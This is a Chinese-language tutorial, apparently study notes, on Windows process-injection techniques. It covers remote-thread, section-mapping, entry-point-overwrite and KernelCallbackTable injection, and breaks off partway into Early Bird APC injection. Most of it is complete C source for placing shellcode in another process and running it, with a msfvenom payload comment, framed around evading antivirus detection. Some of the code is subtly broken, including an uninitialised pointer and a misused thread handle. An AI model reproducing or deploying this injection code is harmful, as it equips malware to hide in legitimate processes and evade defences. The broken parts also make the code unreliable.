进程注入
远程进程注入
给正在运行的进程开辟一片内存,把shellcode放入内存中,然后调用远程线程去执行shellcode
但是CreateRemoteThread函数AV监控的很严格,所以容易被杀软检测到。
所需函数
HANDLE OpenProcess(
DWORD dwDesiredAccess, //想得到的访问权限
BOOL bInheritHandle, //这个进程创建的进程是否继承句柄,这次不需要直接写0就行
DWORD dwProcessId //进程PID
);
LPVOID VirtualAllocEx(
HANDLE hProcess, //OpenProcess函数获取到的句柄
LPVOID lpAddress, //开内存的位置,NULL就是让系统选择
SIZE_T dwSize, //开内存的大小
DWORD flAllocationType, //内存页
DWORD flProtect //内存的属性
);
BOOL WriteProcessMemory(
HANDLE hProcess, //句柄
LPVOID lpBaseAddress, //要写入内存的起始地址
LPCVOID lpBuffer, //要写入的内存
SIZE_T nSize, //要写入的内存的大小
SIZE_T *lpNumberOfBytesWritten //实际写入内存的大小,可以为NULL
);
代码实现
#include <Windows.h>
#include <stdio.h>
int main(int argc, char *argv[])
{
unsigned char buf[] = "";
int processId = atoi(argv[1]);
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, processId);
if (process)
{
printf("openprocess ok!");
LPVOID address = VirtualAllocEx(process, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (address)
{
printf("VirtualAllocEx OK!");
SIZE_T size = sizeof(buf);
BOOL ret = WriteProcessMemory(process, address, buf, sizeof(buf), NULL);
if (ret)
{
printf("WriteProcessMemory ok!");
DWORD dwCreationFlags;
LPVOID lpThreadId = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)address, NULL, 0, &dwCreationFlags);
if (lpThreadId)
{
printf("CreateRemoteThread OK!");
}
}
}
}
}
映射注入
- 创建一个文件映射内核对象
- 映射到调用进程的地址空间
- 将shellcode复制到内存空间中
- 将内存对象映射到目标进程中
- 创建远程线程执行shellcode
所需函数
NTSTATUS NtCreateSection(
PHANDLE SectionHandle, // 用于接收创建的节(section)对象的句柄
ACCESS_MASK DesiredAccess, // 指定所请求的访问权限的位掩码,用于确定新创建的节对象的访问权限
POBJECT_ATTRIBUTES ObjectAttributes, // 包含了节对象的名称和其他属性的结构体
PLARGE_INTEGER MaximumSize, // 表示节对象的最大大小,可以为 NULL,表示无限制
ULONG SectionPageProtection, // 节对象的页面保护属性,控制对该节的访问权限和行为
ULONG AllocationAttributes, // 节对象的分配属性,例如 SEC_COMMIT 和 SEC_RESERVE
HANDLE FileHandle // 可选参数,指定与节对象相关联的文件句柄,可以为 NULL
);
NTSTATUS NtMapViewOfSection(
HANDLE SectionHandle, // 节(section)对象的句柄
HANDLE ProcessHandle, // 目标进程的句柄
PVOID *BaseAddress, // 指向映射视图的基地址的指针
ULONG_PTR ZeroBits, // 保留位,通常为0
SIZE_T CommitSize, // 要提交的视图大小
PLARGE_INTEGER SectionOffset, // 节内偏移量
PSIZE_T ViewSize, // 映射视图的大小
SECTION_INHERIT InheritDisposition, // 子进程是否继承映射
ULONG AllocationType, // 分配类型
ULONG Protect // 保护属性
);
void* memcpy(
void* dest, // 目标内存地址
const void* src, // 源内存地址
size_t count // 要复制的字节数
);
RtCreateUserThread(
targetHandle, // 指定要注入的进程的句柄
NULL, // 不指定线程的安全标志
FALSE, // 指定线程是否独占,FALSE 表示不独占
0, // 线程栈的大小,0表示默认的大小
0, // 线程的优先级,0表示默认
0, // 线程的初始挂起状态,0 表示线程在创建后立即开始执行
remoteSectionAddress, // 指定要执行的 shellcode 的起始地址,该地址在注入进程中
NULL, // 表示不指定线程的线程函数的参数
&targetThreadHandle, // 用于接收新创建的线程的句柄
NULL); // 表示不接收线程的创建时间
代码实现
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll.lib")
typedef struct _LSA_UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID
{
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL);
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using myRtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID);
int main(int argc, char* argv[])
{
int id = atoi(argv[1]);
unsigned char buf[] = "";
myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
myRtlCreateUserThread fRtlCreateUserThread = (myRtlCreateUserThread)(GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread"));
SIZE_T size = 4096;
LARGE_INTEGER sectionSize = { size };
HANDLE sectionHandle = NULL;
PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
// create a memory section
fNtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
// create a view of the memory section in the local process
fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);
// create a view of the memory section in the target process
HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, id);
fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);
// copy shellcode to the local view, which will get reflected in the target process's mapped view
memcpy(localSectionAddress, buf, sizeof(buf));
HANDLE targetThreadHandle = NULL;
fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);
return 0;
}
覆盖入口点注入
在创建进程的时候,直接将进程的入口点的代码更改为shellcode,最后恢复挂起的主线程;缺点是为了达到线程开始挂起的状态,只能通过创建的方式进行,不能通过打开现有进程的方式执行。
- 创建挂起进程
- 通过PEB找到函数地址
- 获得NT头里的可选头
- 找的映像基地址和入口点地址
- 计算文件在内存中的入口点
- 将入口地址的代码直接覆盖掉
所需函数和结构体
typedef LONG(NTAPI* NtQueryInformationProcessPtr)(
HANDLE ProcessHandle, // 进程的句柄
DWORD ProcessInformationClass, // 要查询的进程信息类别
PVOID ProcessInformation, // 用于接收查询结果的缓冲区
ULONG ProcessInformationLength, // 缓冲区大小(字节数)
PULONG ReturnLength // 用于接收返回结果的大小(字节数)
);
FARPROC GetProcAddress(
HMODULE hModule, // 指定包含要获取的函数的模块句柄(通常是 DLL 文件的句柄)
LPCSTR lpProcName // 指定要获取的函数的名称
);
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1; // 保留字段1
PVOID PebBaseAddress; // 进程环境块(PEB)的基地址
PVOID Reserved2[2]; // 保留字段2
ULONG_PTR UniqueProcessId; // 进程的唯一标识符(进程ID)
PVOID Reserved3; // 保留字段3
} PROCESS_BASIC_INFORMATION;
__kernel_entry NTSTATUS NtQueryInformationProcess(
[in] HANDLE ProcessHandle, // 进程的句柄
[in] PROCESSINFOCLASS ProcessInformationClass, // 要查询的进程信息类别
[out] PVOID ProcessInformation, // 用于接收查询结果的缓冲区
[in] ULONG ProcessInformationLength, // 缓冲区大小(字节数)
[out, optional] PULONG ReturnLength // 用于接收返回结果的大小(字节数)
);
BOOL ReadProcessMemory(
HANDLE hProcess, // 要读取内存的目标进程句柄
LPCVOID lpBaseAddress, // 要读取的内存地址(虚拟地址)
LPVOID lpBuffer, // 用于接收读取数据的缓冲区
SIZE_T nSize, // 要读取的字节数
SIZE_T *lpNumberOfBytesRead // 用于接收实际读取的字节数
);
BOOL WriteProcessMemory(
HANDLE hProcess, // 要写入内存的目标进程句柄
LPVOID lpBaseAddress, // 要写入的内存地址(虚拟地址)
LPCVOID lpBuffer, // 被写的数据的位置
SIZE_T nSize, // 要写入的字节数
SIZE_T *lpNumberOfBytesWritten // 用于接收实际写入的字节数
);
代码实现
#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
typedef struct _PROCESS_BASIC_INFORMATION
{
PVOID Reserved1;
PVOID PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
typedef LONG(NTAPI *NtQueryInformationProcessPtr)(
HANDLE ProcessHandle,
DWORD ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength);
int main()
{
unsigned char c64[] = "";
HMODULE Handle = LoadLibraryA("ntdll.dll");
if (Handle == NULL)
{
printf("ntdll.dll loading failed");
return 1;
}
STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi = {0};
TCHAR szCommandLine[] = TEXT("C:\\Windows\\explorer.exe");
// 因为需要一个挂起状态的进程,所以需要Create,而不能Open,而且需要执行入口点,所以只能创建
if (!CreateProcess(NULL, szCommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
{
printf("CreateProcessA 失败,错误码 %lu\n", GetLastError());
return 1;
}
NtQueryInformationProcessPtr NtQueryInformationProcess = (NtQueryInformationProcessPtr)GetProcAddress(Handle, "NtQueryInformationProcess");
PROCESS_BASIC_INFORMATION pbi;
ULONG ProcessInformationLength;
NTSTATUS status = NtQueryInformationProcess(pi.hThread, 0, &pbi, sizeof(pbi), &ProcessInformationLength);
if (status != 0)
{
printf("NtQueryInformationProcess 失败,错误码 %lu\n", status);
return 1;
}
LPVOID imagebase_addr;
DWORD_PTR pef_offset = (DWORD_PTR)pbi.PebBaseAddress + 0x10;
if (!ReadProcessMemory(pi.hThread, (LPVOID)pef_offset, imagebase_addr, sizeof(LPVOID), NULL))
{
printf("读取目标进程的Peb结构体失败,错误码 %lu\n", GetLastError());
return 1;
}
IMAGE_DOS_HEADER dosHeader = {0};
if (!ReadProcessMemory(pi.hProcess, imagebase_addr, &dosHeader, sizeof(dosHeader), NULL))
{
printf("读取目标进程的DOS头失败,错误码 %lu\n", GetLastError());
return 1;
}
IMAGE_NT_HEADERS ntHeader = {0};
DWORD nt_offset = dosHeader.e_lfanew;
// 定位到nt头的位置
if (!ReadProcessMemory(pi.hProcess, (LPVOID)((DWORD_PTR)imagebase_addr + nt_offset), &ntHeader, sizeof(ntHeader), NULL))
{
printf("读取目标进程的NT头失败,错误码 %lu\n", GetLastError());
return 1;
}
// 找到可选头里的入口偏移,然后算EntryPoint的真实地址
LPVOID entry_point = (LPVOID)(ntHeader.OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)imagebase_addr);
if (!WriteProcessMemory(pi.hThread, entry_point, c64, sizeof(c64), NULL))
{
printf("替换入口点失败");
}
ResumeThread(pi.hThread);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
消息回调注入
通过修改PEB表中的特定消息回调函数的指针使其指向shellcode,然后再向该进程发送消息,触发shellcode执行。SendMessage
函数来发送消息进行shellcode的触发。
- 利用PEB定位KCT
- 申请空间写入shellcode
- 创建一个新的kct
- 替换之前的ktc
- 向程序发送信号
代码实现
https://github.com/capt-meelo/KernelCallbackTable-Injection
#include <Windows.h>
#include <stdio.h>
#include "struct.h"
int main()
{
// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c
unsigned char payload[] = "";
SIZE_T payloadSize = sizeof(payload);
// Create a sacrifical process
PROCESS_INFORMATION pi;
STARTUPINFO si = { sizeof(STARTUPINFO) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
CreateProcess(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
// Wait for process initialization
WaitForInputIdle(pi.hProcess, 1000);
// Find a window for explorer.exe
HWND hWindow = FindWindow(L"Notepad", NULL);
printf("[+] Window Handle: 0x%p\n", hWindow);
// Obtain the process pid and open it
DWORD pid;
GetWindowThreadProcessId(hWindow, &pid);
printf("[+] Process ID: %d\n", pid);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
printf("[+] Process Handle: 0x%p\n", hProcess);
// Read PEB and KernelCallBackTable addresses
PROCESS_BASIC_INFORMATION pbi;
pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
PEB peb;
ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
printf("[+] PEB Address: 0x%p\n", pbi.PebBaseAddress);
KERNELCALLBACKTABLE kct;
ReadProcessMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL);
printf("[+] KernelCallbackTable Address: 0x%p\n", peb.KernelCallbackTable);
// Write the payload to remote process
LPVOID payloadAddr = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, payloadAddr, payload, payloadSize, NULL);
printf("[+] Payload Address: 0x%p\n", payloadAddr);
// 4. Write the new table to the remote process
LPVOID newKCTAddr = VirtualAllocEx(hProcess, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
kct.__fnCOPYDATA = (ULONG_PTR)payloadAddr;
WriteProcessMemory(hProcess, newKCTAddr, &kct, sizeof(kct), NULL);
printf("[+] __fnCOPYDATA: 0x%p\n", kct.__fnCOPYDATA);
// Update the PEB
WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);
printf("[+] Remote process PEB updated\n");
// Trigger execution of payload
COPYDATASTRUCT cds;
WCHAR msg[] = L"Pwn";
cds.dwData = 1;
cds.cbData = lstrlen(msg) * 2;
cds.lpData = msg;
SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);
printf("[+] Payload executed\n");
}
struct.h
#pragma once
#include <Windows.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct _KERNELCALLBACKTABLE_T {
ULONG_PTR __fnCOPYDATA;
ULONG_PTR __fnCOPYGLOBALDATA;
ULONG_PTR __fnDWORD;
ULONG_PTR __fnNCDESTROY;
ULONG_PTR __fnDWORDOPTINLPMSG;
ULONG_PTR __fnINOUTDRAG;
ULONG_PTR __fnGETTEXTLENGTHS;
ULONG_PTR __fnINCNTOUTSTRING;
ULONG_PTR __fnPOUTLPINT;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
ULONG_PTR __fnINLPCREATESTRUCT;
ULONG_PTR __fnINLPDELETEITEMSTRUCT;
ULONG_PTR __fnINLPDRAWITEMSTRUCT;
ULONG_PTR __fnPOPTINLPUINT;
ULONG_PTR __fnPOPTINLPUINT2;
ULONG_PTR __fnINLPMDICREATESTRUCT;
ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
ULONG_PTR __fnINLPWINDOWPOS;
ULONG_PTR __fnINOUTLPPOINT5;
ULONG_PTR __fnINOUTLPSCROLLINFO;
ULONG_PTR __fnINOUTLPRECT;
ULONG_PTR __fnINOUTNCCALCSIZE;
ULONG_PTR __fnINOUTLPPOINT5_;
ULONG_PTR __fnINPAINTCLIPBRD;
ULONG_PTR __fnINSIZECLIPBRD;
ULONG_PTR __fnINDESTROYCLIPBRD;
ULONG_PTR __fnINSTRING;
ULONG_PTR __fnINSTRINGNULL;
ULONG_PTR __fnINDEVICECHANGE;
ULONG_PTR __fnPOWERBROADCAST;
ULONG_PTR __fnINLPUAHDRAWMENU;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
ULONG_PTR __fnOUTDWORDINDWORD;
ULONG_PTR __fnOUTLPRECT;
ULONG_PTR __fnOUTSTRING;
ULONG_PTR __fnPOPTINLPUINT3;
ULONG_PTR __fnPOUTLPINT2;
ULONG_PTR __fnSENTDDEMSG;
ULONG_PTR __fnINOUTSTYLECHANGE;
ULONG_PTR __fnHkINDWORD;
ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSG;
ULONG_PTR __fnHkINLPRECT;
ULONG_PTR __fnHkOPTINLPEVENTMSG;
ULONG_PTR __xxxClientCallDelegateThread;
ULONG_PTR __ClientCallDummyCallback;
ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
ULONG_PTR __fnOUTLPCOMBOBOXINFO;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
ULONG_PTR __xxxClientCallDevCallbackCapture;
ULONG_PTR __xxxClientCallDitThread;
ULONG_PTR __xxxClientEnableMMCSS;
ULONG_PTR __xxxClientUpdateDpi;
ULONG_PTR __xxxClientExpandStringW;
ULONG_PTR __ClientCopyDDEIn1;
ULONG_PTR __ClientCopyDDEIn2;
ULONG_PTR __ClientCopyDDEOut1;
ULONG_PTR __ClientCopyDDEOut2;
ULONG_PTR __ClientCopyImage;
ULONG_PTR __ClientEventCallback;
ULONG_PTR __ClientFindMnemChar;
ULONG_PTR __ClientFreeDDEHandle;
ULONG_PTR __ClientFreeLibrary;
ULONG_PTR __ClientGetCharsetInfo;
ULONG_PTR __ClientGetDDEFlags;
ULONG_PTR __ClientGetDDEHookData;
ULONG_PTR __ClientGetListboxString;
ULONG_PTR __ClientGetMessageMPH;
ULONG_PTR __ClientLoadImage;
ULONG_PTR __ClientLoadLibrary;
ULONG_PTR __ClientLoadMenu;
ULONG_PTR __ClientLoadLocalT1Fonts;
ULONG_PTR __ClientPSMTextOut;
ULONG_PTR __ClientLpkDrawTextEx;
ULONG_PTR __ClientExtTextOutW;
ULONG_PTR __ClientGetTextExtentPointW;
ULONG_PTR __ClientCharToWchar;
ULONG_PTR __ClientAddFontResourceW;
ULONG_PTR __ClientThreadSetup;
ULONG_PTR __ClientDeliverUserApc;
ULONG_PTR __ClientNoMemoryPopup;
ULONG_PTR __ClientMonitorEnumProc;
ULONG_PTR __ClientCallWinEventProc;
ULONG_PTR __ClientWaitMessageExMPH;
ULONG_PTR __ClientWOWGetProcModule;
ULONG_PTR __ClientWOWTask16SchedNotify;
ULONG_PTR __ClientImmLoadLayout;
ULONG_PTR __ClientImmProcessKey;
ULONG_PTR __fnIMECONTROL;
ULONG_PTR __fnINWPARAMDBCSCHAR;
ULONG_PTR __fnGETTEXTLENGTHS2;
ULONG_PTR __fnINLPKDRAWSWITCHWND;
ULONG_PTR __ClientLoadStringW;
ULONG_PTR __ClientLoadOLE;
ULONG_PTR __ClientRegisterDragDrop;
ULONG_PTR __ClientRevokeDragDrop;
ULONG_PTR __fnINOUTMENUGETOBJECT;
ULONG_PTR __ClientPrinterThunk;
ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
ULONG_PTR __fnOUTLPSCROLLBARINFO;
ULONG_PTR __fnINLPUAHDRAWMENU2;
ULONG_PTR __fnINLPUAHDRAWMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU3;
ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU4;
ULONG_PTR __fnOUTLPTITLEBARINFOEX;
ULONG_PTR __fnTOUCH;
ULONG_PTR __fnGESTURE;
ULONG_PTR __fnPOPTINLPUINT4;
ULONG_PTR __fnPOPTINLPUINT5;
ULONG_PTR __xxxClientCallDefaultInputHandler;
ULONG_PTR __fnEMPTY;
ULONG_PTR __ClientRimDevCallback;
ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
ULONG_PTR __ClientCallLocalMouseHooks;
ULONG_PTR __xxxClientBroadcastThemeChange;
ULONG_PTR __xxxClientCallDevCallbackSimple;
ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
ULONG_PTR __fnGETWINDOWDATA;
ULONG_PTR __fnINOUTSTYLECHANGE2;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;
typedef struct _PEB
{
UCHAR InheritedAddressSpace; //0x0
UCHAR ReadImageFileExecOptions; //0x1
UCHAR BeingDebugged; //0x2
union
{
UCHAR BitField; //0x3
struct
{
UCHAR ImageUsesLargePages : 1; //0x3
UCHAR IsProtectedProcess : 1; //0x3
UCHAR IsImageDynamicallyRelocated : 1; //0x3
UCHAR SkipPatchingUser32Forwarders : 1; //0x3
UCHAR IsPackagedProcess : 1; //0x3
UCHAR IsAppContainer : 1; //0x3
UCHAR IsProtectedProcessLight : 1; //0x3
UCHAR IsLongPathAwareProcess : 1; //0x3
};
};
UCHAR Padding0[4]; //0x4
VOID* Mutant; //0x8
VOID* ImageBaseAddress; //0x10
struct _PEB_LDR_DATA* Ldr; //0x18
struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x20
VOID* SubSystemData; //0x28
VOID* ProcessHeap; //0x30
struct _RTL_CRITICAL_SECTION* FastPebLock; //0x38
union _SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
VOID* IFEOKey; //0x48
union
{
ULONG CrossProcessFlags; //0x50
struct
{
ULONG ProcessInJob : 1; //0x50
ULONG ProcessInitializing : 1; //0x50
ULONG ProcessUsingVEH : 1; //0x50
ULONG ProcessUsingVCH : 1; //0x50
ULONG ProcessUsingFTH : 1; //0x50
ULONG ProcessPreviouslyThrottled : 1; //0x50
ULONG ProcessCurrentlyThrottled : 1; //0x50
ULONG ProcessImagesHotPatched : 1; //0x50
ULONG ReservedBits0 : 24; //0x50
};
};
UCHAR Padding1[4]; //0x54
union
{
VOID* KernelCallbackTable; //0x58
VOID* UserSharedInfoPtr; //0x58
};
ULONG SystemReserved; //0x60
ULONG AtlThunkSListPtr32; //0x64
VOID* ApiSetMap; //0x68
ULONG TlsExpansionCounter; //0x70
UCHAR Padding2[4]; //0x74
VOID* TlsBitmap; //0x78
ULONG TlsBitmapBits[2]; //0x80
VOID* ReadOnlySharedMemoryBase; //0x88
VOID* SharedData; //0x90
VOID** ReadOnlyStaticServerData; //0x98
VOID* AnsiCodePageData; //0xa0
VOID* OemCodePageData; //0xa8
VOID* UnicodeCaseTableData; //0xb0
ULONG NumberOfProcessors; //0xb8
ULONG NtGlobalFlag; //0xbc
union _LARGE_INTEGER CriticalSectionTimeout; //0xc0
ULONGLONG HeapSegmentReserve; //0xc8
ULONGLONG HeapSegmentCommit; //0xd0
ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
ULONG NumberOfHeaps; //0xe8
ULONG MaximumNumberOfHeaps; //0xec
VOID** ProcessHeaps; //0xf0
VOID* GdiSharedHandleTable; //0xf8
VOID* ProcessStarterHelper; //0x100
ULONG GdiDCAttributeList; //0x108
UCHAR Padding3[4]; //0x10c
struct _RTL_CRITICAL_SECTION* LoaderLock; //0x110
ULONG OSMajorVersion; //0x118
ULONG OSMinorVersion; //0x11c
USHORT OSBuildNumber; //0x120
USHORT OSCSDVersion; //0x122
ULONG OSPlatformId; //0x124
ULONG ImageSubsystem; //0x128
ULONG ImageSubsystemMajorVersion; //0x12c
ULONG ImageSubsystemMinorVersion; //0x130
UCHAR Padding4[4]; //0x134
ULONGLONG ActiveProcessAffinityMask; //0x138
ULONG GdiHandleBuffer[60]; //0x140
VOID(*PostProcessInitRoutine)(); //0x230
VOID* TlsExpansionBitmap; //0x238
ULONG TlsExpansionBitmapBits[32]; //0x240
ULONG SessionId; //0x2c0
UCHAR Padding5[4]; //0x2c4
union _ULARGE_INTEGER AppCompatFlags; //0x2c8
union _ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
VOID* pShimData; //0x2d8
VOID* AppCompatInfo; //0x2e0
struct _UNICODE_STRING CSDVersion; //0x2e8
struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8
struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300
struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308
struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310
ULONGLONG MinimumStackCommit; //0x318
struct _FLS_CALLBACK_INFO* FlsCallback; //0x320
struct _LIST_ENTRY FlsListHead; //0x328
VOID* FlsBitmap; //0x338
ULONG FlsBitmapBits[4]; //0x340
ULONG FlsHighIndex; //0x350
VOID* WerRegistrationData; //0x358
VOID* WerShipAssertPtr; //0x360
VOID* pUnused; //0x368
VOID* pImageHeaderHash; //0x370
union
{
ULONG TracingFlags; //0x378
struct
{
ULONG HeapTracingEnabled : 1; //0x378
ULONG CritSecTracingEnabled : 1; //0x378
ULONG LibLoaderTracingEnabled : 1; //0x378
ULONG SpareTracingBits : 29; //0x378
};
};
UCHAR Padding6[4]; //0x37c
ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
ULONGLONG TppWorkerpListLock; //0x388
struct _LIST_ENTRY TppWorkerpList; //0x390
VOID* WaitOnAddressHashTable[128]; //0x3a0
VOID* TelemetryCoverageHeader; //0x7a0
ULONG CloudFileFlags; //0x7a8
ULONG CloudFileDiagFlags; //0x7ac
CHAR PlaceholderCompatibilityMode; //0x7b0
CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1
struct _LEAP_SECOND_DATA* LeapSecondData; //0x7b8
union
{
ULONG LeapSecondFlags; //0x7c0
struct
{
ULONG SixtySecondEnabled : 1; //0x7c0
ULONG Reserved : 31; //0x7c0
};
};
ULONG NtGlobalFlag2; //0x7c4
} PEB, * PPEB;
typedef LONG KPRIORITY;
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB PebBaseAddress;
ULONG_PTR AffinityMask;
KPRIORITY BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation = 0,
ProcessDebugPort = 7,
ProcessWow64Information = 26,
ProcessImageFileName = 27,
ProcessBreakOnTermination = 29
} PROCESSINFOCLASS, * PPROCESSINFOCLASS;
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
Early Bird
Early Bird是一种简单而强大的技术,Early Bird本质上是一种APC注入与线程劫持的变体,由于线程初始化时会调用ntdll未导出函数NtTestAlert,该函数会清空并处理APC队列,所以注入的代码通常在进程的主线程的入口点之前运行并接管进程控制权,从而避免了反恶意软件产品的钩子的检测,同时获得一个合法进程的环境信息。
- 创建一个挂起的进程(通常是Windows的合法进程)
- 在挂起的进程内申请一块可读可写可执行的内存空间
- 往申请的空间内写入shellcode
- 将APC插入到该进程的主线程
- 恢复挂起进程的线程
所需函数
HANDLE CreateToolhelp32Snapshot(
DWORD dwFlags, // 快照类型标志,通常是 TH32CS_SNAPPROCESS、TH32CS_SNAPMODULE 等
DWORD th32ProcessID // 进程标识符,通常是 0 表示当前进程
);
BOOL Process32First(
HANDLE hSnapshot, // 进程快照的句柄,通常是由 CreateToolhelp32Snapshot 返回的
LPPROCESSENTRY32 lppe // 指向 PROCESSENTRY32 结构的指针
);
BOOL Process32Next(
HANDLE hSnapshot, // 进程快照的句柄,通过CreateToolhelp32Snapshot函数获得。
LPPROCESSENTRY32 lppe // 指向 PROCESSENTRY32 结构的指针,用于存储下一个进程的信息。
);
BOOL SetCurrentDirectory(
LPCTSTR lpPathName // 新的当前目录的路径
);
BOOL InitializeProcThreadAttributeList(
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, // 指向 PROC_THREAD_ATTRIBUTE_LIST 结构的指针,用于存储属性列表。
DWORD dwAttributeCount, // 指定要添加到属性列表中的属性数量。
DWORD dwFlags, // 初始化标志,通常为0。此参数目前没有特定的标志值,通常设置为0。
